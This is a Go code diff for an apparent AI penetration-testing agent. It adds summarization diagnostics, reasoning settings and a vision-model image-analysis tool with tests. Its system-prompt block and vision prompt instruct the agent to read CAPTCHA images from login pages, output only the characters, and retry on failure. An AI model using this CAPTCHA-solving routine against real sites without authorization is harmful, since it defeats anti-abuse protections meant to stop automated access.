}
|
||||||
@@ -161,6 +161,7 @@ func RunDeepAgent(
|
|||||||
|
|
||||||
// 若配置为 Claude provider,注入自动桥接 transport,对 Eino 透明走 Anthropic Messages API
|
// 若配置为 Claude provider,注入自动桥接 transport,对 Eino 透明走 Anthropic Messages API
|
||||||
httpClient = openai.NewEinoHTTPClient(&appCfg.OpenAI, httpClient)
|
httpClient = openai.NewEinoHTTPClient(&appCfg.OpenAI, httpClient)
|
||||||
|
openai.AttachSummarizationDiagTransport(httpClient, logger)
|
||||||
|
|
||||||
baseModelCfg := &einoopenai.ChatModelConfig{
|
baseModelCfg := &einoopenai.ChatModelConfig{
|
||||||
APIKey: appCfg.OpenAI.APIKey,
|
APIKey: appCfg.OpenAI.APIKey,
|
||||||
@@ -170,18 +171,7 @@ func RunDeepAgent(
|
|||||||
}
|
}
|
||||||
reasoning.ApplyToEinoChatModelConfig(baseModelCfg, &appCfg.OpenAI, reasoningClient)
|
reasoning.ApplyToEinoChatModelConfig(baseModelCfg, &appCfg.OpenAI, reasoningClient)
|
||||||
|
|
||||||
deepMaxIter := ma.MaxIteration
|
deepMaxIter := agentMaxIterations(appCfg)
|
||||||
if deepMaxIter <= 0 {
|
|
||||||
deepMaxIter = appCfg.Agent.MaxIterations
|
|
||||||
}
|
|
||||||
if deepMaxIter <= 0 {
|
|
||||||
deepMaxIter = 40
|
|
||||||
}
|
|
||||||
|
|
||||||
subDefaultIter := ma.SubAgentMaxIterations
|
|
||||||
if subDefaultIter <= 0 {
|
|
||||||
subDefaultIter = 20
|
|
||||||
}
|
|
||||||
|
|
||||||
var subAgents []adk.Agent
|
var subAgents []adk.Agent
|
||||||
if orchMode != "plan_execute" {
|
if orchMode != "plan_execute" {
|
||||||
@@ -230,10 +220,7 @@ func RunDeepAgent(
|
|||||||
return nil, fmt.Errorf("子代理 %q eino 中间件: %w", id, err)
|
return nil, fmt.Errorf("子代理 %q eino 中间件: %w", id, err)
|
||||||
}
|
}
|
||||||
|
|
||||||
subMax := sub.MaxIterations
|
subMax := resolveMaxIterations(appCfg, sub.MaxIterations)
|
||||||
if subMax <= 0 {
|
|
||||||
subMax = subDefaultIter
|
|
||||||
}
|
|
||||||
|
|
||||||
subSumMw, err := newEinoSummarizationMiddleware(ctx, subModel, appCfg, &ma.EinoMiddleware, conversationID, logger)
|
subSumMw, err := newEinoSummarizationMiddleware(ctx, subModel, appCfg, &ma.EinoMiddleware, conversationID, logger)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -262,7 +249,8 @@ func RunDeepAgent(
|
|||||||
subHandlers = append(subHandlers, teleMw)
|
subHandlers = append(subHandlers, teleMw)
|
||||||
}
|
}
|
||||||
|
|
||||||
subInstrFinal := injectToolNamesOnlyInstruction(ctx, instr, subTools, subToolSearchActive)
|
subInstrFinal := project.AppendVisionImageAnalysisIfReady(instr, appCfg.Vision.Ready())
|
||||||
|
subInstrFinal = injectToolNamesOnlyInstruction(ctx, subInstrFinal, subTools, subToolSearchActive)
|
||||||
if logger != nil {
|
if logger != nil {
|
||||||
subNames := collectToolNames(ctx, subTools)
|
subNames := collectToolNames(ctx, subTools)
|
||||||
mountedNames := collectToolNames(ctx, subToolsForCfg)
|
mountedNames := collectToolNames(ctx, subToolsForCfg)
|
||||||
@@ -342,6 +330,7 @@ func RunDeepAgent(
|
|||||||
}
|
}
|
||||||
|
|
||||||
orchInstruction = project.AppendSystemPromptBlock(orchInstruction, systemPromptExtra)
|
orchInstruction = project.AppendSystemPromptBlock(orchInstruction, systemPromptExtra)
|
||||||
|
orchInstruction = project.AppendVisionImageAnalysisIfReady(orchInstruction, appCfg.Vision.Ready())
|
||||||
orchInstruction = injectToolNamesOnlyInstruction(ctx, orchInstruction, mainTools, mainToolSearchActive)
|
orchInstruction = injectToolNamesOnlyInstruction(ctx, orchInstruction, mainTools, mainToolSearchActive)
|
||||||
if logger != nil {
|
if logger != nil {
|
||||||
mainNames := collectToolNames(ctx, mainTools)
|
mainNames := collectToolNames(ctx, mainTools)
|
||||||
|
|||||||
@@ -0,0 +1,88 @@
|
|||||||
|
package openai
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"io"
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/bytedance/sonic"
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
// SummarizationRequestHeader marks chat/completion requests issued by Eino summarization
|
||||||
|
// middleware (via model.WithExtraHeader). The diagnostic transport logs empty-choices bodies
|
||||||
|
// only for these requests so main-agent traffic stays quiet.
|
||||||
|
const SummarizationRequestHeader = "X-CyberStrike-Summarization"
|
||||||
|
|
||||||
|
const summarizationDiagBodyMaxBytes = 8192
|
||||||
|
|
||||||
|
// AttachSummarizationDiagTransport wraps client.Transport to log raw API bodies when
|
||||||
|
// summarization receives HTTP 200 with an empty choices array.
|
||||||
|
func AttachSummarizationDiagTransport(client *http.Client, logger *zap.Logger) {
|
||||||
|
if client == nil || logger == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
base := client.Transport
|
||||||
|
if base == nil {
|
||||||
|
base = http.DefaultTransport
|
||||||
|
}
|
||||||
|
client.Transport = &summarizationDiagRoundTripper{base: base, logger: logger}
|
||||||
|
}
|
||||||
|
|
||||||
|
type summarizationDiagRoundTripper struct {
|
||||||
|
base http.RoundTripper
|
||||||
|
logger *zap.Logger
|
||||||
|
}
|
||||||
|
|
||||||
|
func (rt *summarizationDiagRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||||
|
resp, err := rt.base.RoundTrip(req)
|
||||||
|
if err != nil || resp == nil || resp.Body == nil {
|
||||||
|
return resp, err
|
||||||
|
}
|
||||||
|
if !isSummarizationRequest(req) || !strings.Contains(strings.ToLower(resp.Header.Get("Content-Type")), "json") {
|
||||||
|
return resp, err
|
||||||
|
}
|
||||||
|
|
||||||
|
body, readErr := io.ReadAll(resp.Body)
|
||||||
|
_ = resp.Body.Close()
|
||||||
|
if readErr != nil {
|
||||||
|
resp.Body = io.NopCloser(bytes.NewReader(nil))
|
||||||
|
return resp, err
|
||||||
|
}
|
||||||
|
resp.Body = io.NopCloser(bytes.NewReader(body))
|
||||||
|
resp.ContentLength = int64(len(body))
|
||||||
|
|
||||||
|
if rt.logger != nil && summarizationResponseEmptyChoices(body) {
|
||||||
|
rt.logger.Warn("eino summarization: API returned empty choices",
|
||||||
|
zap.Int("status", resp.StatusCode),
|
||||||
|
zap.Int("response_bytes", len(body)),
|
||||||
|
zap.String("raw_body", truncateForLog(string(body), summarizationDiagBodyMaxBytes)),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
return resp, err
|
||||||
|
}
|
||||||
|
|
||||||
|
func isSummarizationRequest(req *http.Request) bool {
|
||||||
|
if req == nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(req.Header.Get(SummarizationRequestHeader)) == "1"
|
||||||
|
}
|
||||||
|
|
||||||
|
func summarizationResponseEmptyChoices(body []byte) bool {
|
||||||
|
var parsed struct {
|
||||||
|
Choices []any `json:"choices"`
|
||||||
|
}
|
||||||
|
if err := sonic.Unmarshal(body, &parsed); err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return len(parsed.Choices) == 0
|
||||||
|
}
|
||||||
|
|
||||||
|
func truncateForLog(s string, maxBytes int) string {
|
||||||
|
if maxBytes <= 0 || len(s) <= maxBytes {
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
return s[:maxBytes] + "…(truncated)"
|
||||||
|
}
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
package openai
|
||||||
|
|
||||||
|
import (
|
||||||
|
"io"
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
type staticRoundTripper struct {
|
||||||
|
status int
|
||||||
|
body string
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *staticRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||||
|
return &http.Response{
|
||||||
|
StatusCode: s.status,
|
||||||
|
Header: http.Header{"Content-Type": []string{"application/json"}},
|
||||||
|
Body: io.NopCloser(strings.NewReader(s.body)),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSummarizationResponseEmptyChoices(t *testing.T) {
|
||||||
|
if !summarizationResponseEmptyChoices([]byte(`{"choices":[]}`)) {
|
||||||
|
t.Fatal("expected empty choices")
|
||||||
|
}
|
||||||
|
if summarizationResponseEmptyChoices([]byte(`{"choices":[{"index":0}]}`)) {
|
||||||
|
t.Fatal("expected non-empty choices")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSummarizationDiagRoundTripper_SkipsWithoutHeader(t *testing.T) {
|
||||||
|
client := &http.Client{
|
||||||
|
Transport: &summarizationDiagRoundTripper{
|
||||||
|
base: &staticRoundTripper{status: 200, body: `{"choices":[]}`},
|
||||||
|
logger: zap.NewNop(),
|
||||||
|
},
|
||||||
|
}
|
||||||
|
req, _ := http.NewRequest(http.MethodPost, "https://example.com/v1/chat/completions", nil)
|
||||||
|
resp, err := client.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
_ = resp.Body.Close()
|
||||||
|
}
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
package project
|
||||||
|
|
||||||
|
import "strings"
|
||||||
|
|
||||||
|
// VisionImageAnalysisSection 单/多代理共用的图片分析提示(analyze_image;上下文仅保留文字摘要)。
|
||||||
|
func VisionImageAnalysisSection() string {
|
||||||
|
var b strings.Builder
|
||||||
|
b.WriteString("## 图片分析\n\n")
|
||||||
|
b.WriteString("- 遇到图片文件(截图、验证码、登录页、报告配图)时,若存在工具 analyze_image,请传入服务器上的文件路径进行分析。\n")
|
||||||
|
b.WriteString("- 不要对二进制图片使用 read_file 指望理解内容;用户消息中「📎 xxx.png: /path」即为可传给 analyze_image 的路径。\n")
|
||||||
|
b.WriteString("- 验证码类:若已从页面或接口保存为本地图片(如 captcha.png),用 analyze_image,question 写明「只输出验证码字符」;识别失败则刷新验证码后重新保存再识;复杂滑块/行为验证码勿指望单次识图成功。\n")
|
||||||
|
b.WriteString("- 委派子代理时,若子任务含验证码/截图识读,在 task description 中写明图片路径与期望输出格式。\n")
|
||||||
|
return b.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
// AppendVisionImageAnalysisIfReady 仅在 vision.enabled 且 model 已配置时追加图片分析提示。
|
||||||
|
func AppendVisionImageAnalysisIfReady(base string, visionReady bool) string {
|
||||||
|
if !visionReady {
|
||||||
|
return base
|
||||||
|
}
|
||||||
|
return AppendSystemPromptBlock(base, VisionImageAnalysisSection())
|
||||||
|
}
|
||||||
@@ -56,6 +56,7 @@ func ApplyToEinoChatModelConfig(cfg *einoopenai.ChatModelConfig, oa *config.Open
|
|||||||
}
|
}
|
||||||
|
|
||||||
if mode == "off" {
|
if mode == "off" {
|
||||||
|
applyThinkingDisabled(cfg)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
effort := effectiveEffort(sr, client, allowClient)
|
effort := effectiveEffort(sr, client, allowClient)
|
||||||
@@ -185,11 +186,21 @@ func resolveWireProfile(oa *config.OpenAIConfig, sr *config.OpenAIReasoningConfi
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func applyDeepseek(cfg *einoopenai.ChatModelConfig, mode, effort string) {
|
func applyThinkingDisabled(cfg *einoopenai.ChatModelConfig) {
|
||||||
// auto: enable thinking for DeepSeek line; on: same; auto without effort still opens thinking.
|
if cfg == nil {
|
||||||
if mode == "off" {
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
if cfg.ExtraFields == nil {
|
||||||
|
cfg.ExtraFields = make(map[string]any)
|
||||||
|
}
|
||||||
|
if _, exists := cfg.ExtraFields["thinking"]; exists {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
cfg.ExtraFields["thinking"] = map[string]any{"type": "disabled"}
|
||||||
|
}
|
||||||
|
|
||||||
|
func applyDeepseek(cfg *einoopenai.ChatModelConfig, mode, effort string) {
|
||||||
|
// auto: enable thinking for DeepSeek line; on: same; auto without effort still opens thinking.
|
||||||
if mode == "auto" || mode == "on" {
|
if mode == "auto" || mode == "on" {
|
||||||
if cfg.ExtraFields == nil {
|
if cfg.ExtraFields == nil {
|
||||||
cfg.ExtraFields = make(map[string]any)
|
cfg.ExtraFields = make(map[string]any)
|
||||||
|
|||||||
@@ -49,6 +49,22 @@ func TestApplyOpenAICompat_xhighExtraField(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestApplyReasoningOff_disablesThinking(t *testing.T) {
|
||||||
|
cfg := &einoopenai.ChatModelConfig{}
|
||||||
|
oa := &config.OpenAIConfig{
|
||||||
|
BaseURL: "https://api.openai.com/v1",
|
||||||
|
Model: "gpt-4o",
|
||||||
|
Reasoning: config.OpenAIReasoningConfig{
|
||||||
|
Mode: "off",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
ApplyToEinoChatModelConfig(cfg, oa, nil)
|
||||||
|
th, ok := cfg.ExtraFields["thinking"].(map[string]any)
|
||||||
|
if !ok || th["type"] != "disabled" {
|
||||||
|
t.Fatalf("expected thinking disabled, got %#v", cfg.ExtraFields)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestApplyOpenAICompat_maxPassthrough(t *testing.T) {
|
func TestApplyOpenAICompat_maxPassthrough(t *testing.T) {
|
||||||
cfg := &einoopenai.ChatModelConfig{}
|
cfg := &einoopenai.ChatModelConfig{}
|
||||||
oa := &config.OpenAIConfig{
|
oa := &config.OpenAIConfig{
|
||||||
|
|||||||
@@ -0,0 +1,132 @@
|
|||||||
|
package vision
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/base64"
|
||||||
|
"fmt"
|
||||||
|
"net"
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/config"
|
||||||
|
"cyberstrike-ai/internal/openai"
|
||||||
|
|
||||||
|
einoopenai "github.com/cloudwego/eino-ext/components/model/openai"
|
||||||
|
"github.com/cloudwego/eino/schema"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Client 调用独立 Vision ChatModel(单次 Generate)。
|
||||||
|
type Client struct {
|
||||||
|
cfg config.VisionConfig
|
||||||
|
mainOA config.OpenAIConfig
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewClient 构造视觉客户端。
|
||||||
|
func NewClient(visionCfg config.VisionConfig, mainOpenAI config.OpenAIConfig) *Client {
|
||||||
|
return &Client{cfg: visionCfg, mainOA: mainOpenAI}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Analyze 将图片字节送入 VL 模型并返回文本描述。
|
||||||
|
func (c *Client) Analyze(ctx context.Context, img ImagePayload, question string) (string, error) {
|
||||||
|
if len(img.Bytes) == 0 {
|
||||||
|
return "", fmt.Errorf("empty image payload")
|
||||||
|
}
|
||||||
|
mime := strings.TrimSpace(img.MIMEType)
|
||||||
|
if mime == "" {
|
||||||
|
mime = "image/jpeg"
|
||||||
|
}
|
||||||
|
oa := c.cfg.OpenAICfgEffective(c.mainOA)
|
||||||
|
if strings.TrimSpace(oa.APIKey) == "" {
|
||||||
|
return "", fmt.Errorf("vision API key is empty (set vision.api_key or openai.api_key)")
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(oa.Model) == "" {
|
||||||
|
return "", fmt.Errorf("vision model is empty")
|
||||||
|
}
|
||||||
|
|
||||||
|
timeout := time.Duration(c.cfg.TimeoutSecondsEffective()) * time.Second
|
||||||
|
ctx, cancel := context.WithTimeout(ctx, timeout)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
httpClient := &http.Client{
|
||||||
|
Timeout: timeout + 15*time.Second,
|
||||||
|
Transport: &http.Transport{
|
||||||
|
DialContext: (&net.Dialer{
|
||||||
|
Timeout: 60 * time.Second,
|
||||||
|
KeepAlive: 60 * time.Second,
|
||||||
|
}).DialContext,
|
||||||
|
ResponseHeaderTimeout: timeout + 10*time.Second,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
httpClient = openai.NewEinoHTTPClient(&oa, httpClient)
|
||||||
|
|
||||||
|
modelCfg := &einoopenai.ChatModelConfig{
|
||||||
|
APIKey: oa.APIKey,
|
||||||
|
BaseURL: strings.TrimSuffix(oa.BaseURL, "/"),
|
||||||
|
Model: oa.Model,
|
||||||
|
HTTPClient: httpClient,
|
||||||
|
}
|
||||||
|
chatModel, err := einoopenai.NewChatModel(ctx, modelCfg)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("vision chat model: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
b64 := base64.StdEncoding.EncodeToString(img.Bytes)
|
||||||
|
detail := schema.ImageURLDetailLow
|
||||||
|
switch c.cfg.DetailEffective() {
|
||||||
|
case "high":
|
||||||
|
detail = schema.ImageURLDetailHigh
|
||||||
|
case "auto":
|
||||||
|
detail = schema.ImageURLDetailAuto
|
||||||
|
}
|
||||||
|
|
||||||
|
prompt := buildVisionPrompt(question)
|
||||||
|
userMsg := &schema.Message{
|
||||||
|
Role: schema.User,
|
||||||
|
UserInputMultiContent: []schema.MessageInputPart{
|
||||||
|
{Type: schema.ChatMessagePartTypeText, Text: prompt},
|
||||||
|
{
|
||||||
|
Type: schema.ChatMessagePartTypeImageURL,
|
||||||
|
Image: &schema.MessageInputImage{
|
||||||
|
MessagePartCommon: schema.MessagePartCommon{
|
||||||
|
Base64Data: &b64,
|
||||||
|
MIMEType: mime,
|
||||||
|
},
|
||||||
|
Detail: detail,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
resp, err := chatModel.Generate(ctx, []*schema.Message{userMsg})
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("vision generate: %w", err)
|
||||||
|
}
|
||||||
|
if resp == nil || strings.TrimSpace(resp.Content) == "" {
|
||||||
|
return "", fmt.Errorf("vision model returned empty content")
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(resp.Content), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildVisionPrompt(question string) string {
|
||||||
|
q := strings.TrimSpace(question)
|
||||||
|
if q == "" {
|
||||||
|
q = "请对图片做通用描述,侧重授权安全测试场景(可见文本、表单、按钮、验证码、错误信息、技术栈线索)。"
|
||||||
|
}
|
||||||
|
extra := ""
|
||||||
|
if looksLikeCaptchaQuestion(q) {
|
||||||
|
extra = "\n若为验证码:仅输出你辨认出的字符序列,不要空格、标点、解释;看不清则明确说无法识别。"
|
||||||
|
}
|
||||||
|
return `你是授权安全测试助手。请根据图片回答用户问题,只描述你能从图中确认的内容,不要编造。
|
||||||
|
用户问题:` + q + extra
|
||||||
|
}
|
||||||
|
|
||||||
|
func looksLikeCaptchaQuestion(q string) bool {
|
||||||
|
s := strings.ToLower(q)
|
||||||
|
for _, kw := range []string{"验证码", "captcha", "verification code", "verify code", "vcode", "图形码"} {
|
||||||
|
if strings.Contains(s, kw) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return strings.Contains(s, "只输出") && (strings.Contains(s, "字符") || strings.Contains(s, "character"))
|
||||||
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
package vision
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestLooksLikeCaptchaQuestion(t *testing.T) {
|
||||||
|
if !looksLikeCaptchaQuestion("识别验证码,只输出字符") {
|
||||||
|
t.Fatal("expected captcha hint")
|
||||||
|
}
|
||||||
|
if looksLikeCaptchaQuestion("描述登录页布局") {
|
||||||
|
t.Fatal("expected non-captcha")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,72 @@
|
|||||||
|
package vision
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
var allowedImageExt = map[string]struct{}{
|
||||||
|
".png": {}, ".jpg": {}, ".jpeg": {}, ".webp": {}, ".gif": {},
|
||||||
|
".bmp": {}, ".tif": {}, ".tiff": {},
|
||||||
|
}
|
||||||
|
|
||||||
|
// ResolveImagePath 解析并校验可读图片路径(支持任意目录;仍校验扩展名与常规文件)。
|
||||||
|
func ResolveImagePath(path string, cwd string) (string, error) {
|
||||||
|
p := strings.TrimSpace(path)
|
||||||
|
if p == "" {
|
||||||
|
return "", fmt.Errorf("path is empty")
|
||||||
|
}
|
||||||
|
cwdTrim := strings.TrimSpace(cwd)
|
||||||
|
if cwdTrim == "" {
|
||||||
|
var err error
|
||||||
|
cwdTrim, err = os.Getwd()
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("getwd: %w", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
cwdAbs, err := filepath.Abs(filepath.Clean(cwdTrim))
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
var candidate string
|
||||||
|
if filepath.IsAbs(p) {
|
||||||
|
candidate = filepath.Clean(p)
|
||||||
|
} else {
|
||||||
|
candidate = filepath.Clean(filepath.Join(cwdAbs, p))
|
||||||
|
}
|
||||||
|
resolved := normalizeAbsPath(candidate)
|
||||||
|
if resolved == "" {
|
||||||
|
return "", fmt.Errorf("invalid path")
|
||||||
|
}
|
||||||
|
|
||||||
|
ext := strings.ToLower(filepath.Ext(resolved))
|
||||||
|
if _, ok := allowedImageExt[ext]; !ok {
|
||||||
|
return "", fmt.Errorf("unsupported image extension %q", ext)
|
||||||
|
}
|
||||||
|
|
||||||
|
st, err := os.Stat(resolved)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("stat: %w", err)
|
||||||
|
}
|
||||||
|
if st.IsDir() {
|
||||||
|
return "", fmt.Errorf("not a regular file")
|
||||||
|
}
|
||||||
|
if st.Size() > 0 && st.Size() > 1<<30 {
|
||||||
|
return "", fmt.Errorf("file too large on disk")
|
||||||
|
}
|
||||||
|
return resolved, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func normalizeAbsPath(p string) string {
|
||||||
|
abs, err := filepath.Abs(filepath.Clean(p))
|
||||||
|
if err != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
if link, err := filepath.EvalSymlinks(abs); err == nil {
|
||||||
|
return link
|
||||||
|
}
|
||||||
|
return abs
|
||||||
|
}
|
||||||
@@ -0,0 +1,52 @@
|
|||||||
|
package vision
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestResolveImagePath_underCWD(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
img := filepath.Join(dir, "shot.png")
|
||||||
|
if err := os.WriteFile(img, []byte{0x89, 0x50, 0x4e, 0x47}, 0o644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
got, err := ResolveImagePath(img, dir)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
want := normalizeAbsPath(img)
|
||||||
|
if got != want {
|
||||||
|
t.Fatalf("got %q want %q", got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResolveImagePath_absoluteOutsideCWD(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
cwd := t.TempDir()
|
||||||
|
img := filepath.Join(dir, "remote.png")
|
||||||
|
if err := os.WriteFile(img, []byte{0x89, 0x50, 0x4e, 0x47}, 0o644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
got, err := ResolveImagePath(img, cwd)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("expected absolute path outside cwd to be allowed: %v", err)
|
||||||
|
}
|
||||||
|
want := normalizeAbsPath(img)
|
||||||
|
if got != want {
|
||||||
|
t.Fatalf("got %q want %q", got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResolveImagePath_rejectsNonImageExt(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
f := filepath.Join(dir, "notes.txt")
|
||||||
|
if err := os.WriteFile(f, []byte("x"), 0o644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
_, err := ResolveImagePath(f, dir)
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("expected error for non-image extension")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,212 @@
|
|||||||
|
package vision
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"fmt"
|
||||||
|
"image"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/disintegration/imaging"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ImagePayload 送入 VL API 的图片字节与 MIME。
|
||||||
|
type ImagePayload struct {
|
||||||
|
Bytes []byte
|
||||||
|
MIMEType string
|
||||||
|
}
|
||||||
|
|
||||||
|
// PreprocessMeta 记录缩放与编码结果,供工具输出与排障。
|
||||||
|
type PreprocessMeta struct {
|
||||||
|
OriginalPath string
|
||||||
|
OriginalBytes int64
|
||||||
|
OriginalWidth int
|
||||||
|
OriginalHeight int
|
||||||
|
OutputWidth int
|
||||||
|
OutputHeight int
|
||||||
|
OutputBytes int
|
||||||
|
OutputMIMEType string
|
||||||
|
JPEGQuality int // 0 表示未 JPEG 重编码(原图直传)
|
||||||
|
PreprocessMode string // passthrough | jpeg
|
||||||
|
}
|
||||||
|
|
||||||
|
// PreprocessOptions 图片预处理参数。
|
||||||
|
type PreprocessOptions struct {
|
||||||
|
MaxImageBytes int64
|
||||||
|
MaxDimension int
|
||||||
|
JPEGQuality int
|
||||||
|
MaxPayloadBytes int64
|
||||||
|
SkipPreprocessBelowBytes int64 // 0 = 始终压缩;>0 时小图+尺寸合规可直传
|
||||||
|
}
|
||||||
|
|
||||||
|
// PreprocessImageFile 读取图片;大图或超尺寸走 imaging 缩放+JPEG,否则可原图直传。
|
||||||
|
func PreprocessImageFile(path string, opt PreprocessOptions) (ImagePayload, PreprocessMeta, error) {
|
||||||
|
var meta PreprocessMeta
|
||||||
|
meta.OriginalPath = path
|
||||||
|
|
||||||
|
st, err := os.Stat(path)
|
||||||
|
if err != nil {
|
||||||
|
return ImagePayload{}, meta, err
|
||||||
|
}
|
||||||
|
meta.OriginalBytes = st.Size()
|
||||||
|
if opt.MaxImageBytes > 0 && st.Size() > opt.MaxImageBytes {
|
||||||
|
return ImagePayload{}, meta, fmt.Errorf("file size %d exceeds max_image_bytes %d", st.Size(), opt.MaxImageBytes)
|
||||||
|
}
|
||||||
|
|
||||||
|
cfgW, cfgH, format, err := imageDimensions(path)
|
||||||
|
if err != nil {
|
||||||
|
return ImagePayload{}, meta, err
|
||||||
|
}
|
||||||
|
meta.OriginalWidth = cfgW
|
||||||
|
meta.OriginalHeight = cfgH
|
||||||
|
|
||||||
|
maxDim := opt.MaxDimension
|
||||||
|
if maxDim <= 0 {
|
||||||
|
maxDim = 2048
|
||||||
|
}
|
||||||
|
maxPayload := opt.MaxPayloadBytes
|
||||||
|
if maxPayload <= 0 {
|
||||||
|
maxPayload = 512 * 1024
|
||||||
|
}
|
||||||
|
|
||||||
|
if payload, meta, ok, err := tryPassthrough(path, st.Size(), cfgW, cfgH, format, opt, maxDim, maxPayload); ok {
|
||||||
|
return payload, meta, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return compressWithImaging(path, opt, maxDim, maxPayload, meta)
|
||||||
|
}
|
||||||
|
|
||||||
|
func tryPassthrough(path string, size int64, w, h int, format string, opt PreprocessOptions, maxDim int, maxPayload int64) (ImagePayload, PreprocessMeta, bool, error) {
|
||||||
|
var meta PreprocessMeta
|
||||||
|
meta.OriginalPath = path
|
||||||
|
meta.OriginalBytes = size
|
||||||
|
meta.OriginalWidth = w
|
||||||
|
meta.OriginalHeight = h
|
||||||
|
|
||||||
|
threshold := opt.SkipPreprocessBelowBytes
|
||||||
|
if threshold <= 0 {
|
||||||
|
return ImagePayload{}, meta, false, nil
|
||||||
|
}
|
||||||
|
if size > threshold {
|
||||||
|
return ImagePayload{}, meta, false, nil
|
||||||
|
}
|
||||||
|
longEdge := w
|
||||||
|
if h > longEdge {
|
||||||
|
longEdge = h
|
||||||
|
}
|
||||||
|
if longEdge > maxDim {
|
||||||
|
return ImagePayload{}, meta, false, nil
|
||||||
|
}
|
||||||
|
if size > maxPayload {
|
||||||
|
return ImagePayload{}, meta, false, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
raw, err := os.ReadFile(path)
|
||||||
|
if err != nil {
|
||||||
|
return ImagePayload{}, meta, false, err
|
||||||
|
}
|
||||||
|
mime := mimeFromImageFormat(format)
|
||||||
|
if mime == "" {
|
||||||
|
return ImagePayload{}, meta, false, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
meta.OutputWidth = w
|
||||||
|
meta.OutputHeight = h
|
||||||
|
meta.OutputBytes = len(raw)
|
||||||
|
meta.OutputMIMEType = mime
|
||||||
|
meta.PreprocessMode = "passthrough"
|
||||||
|
return ImagePayload{Bytes: raw, MIMEType: mime}, meta, true, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
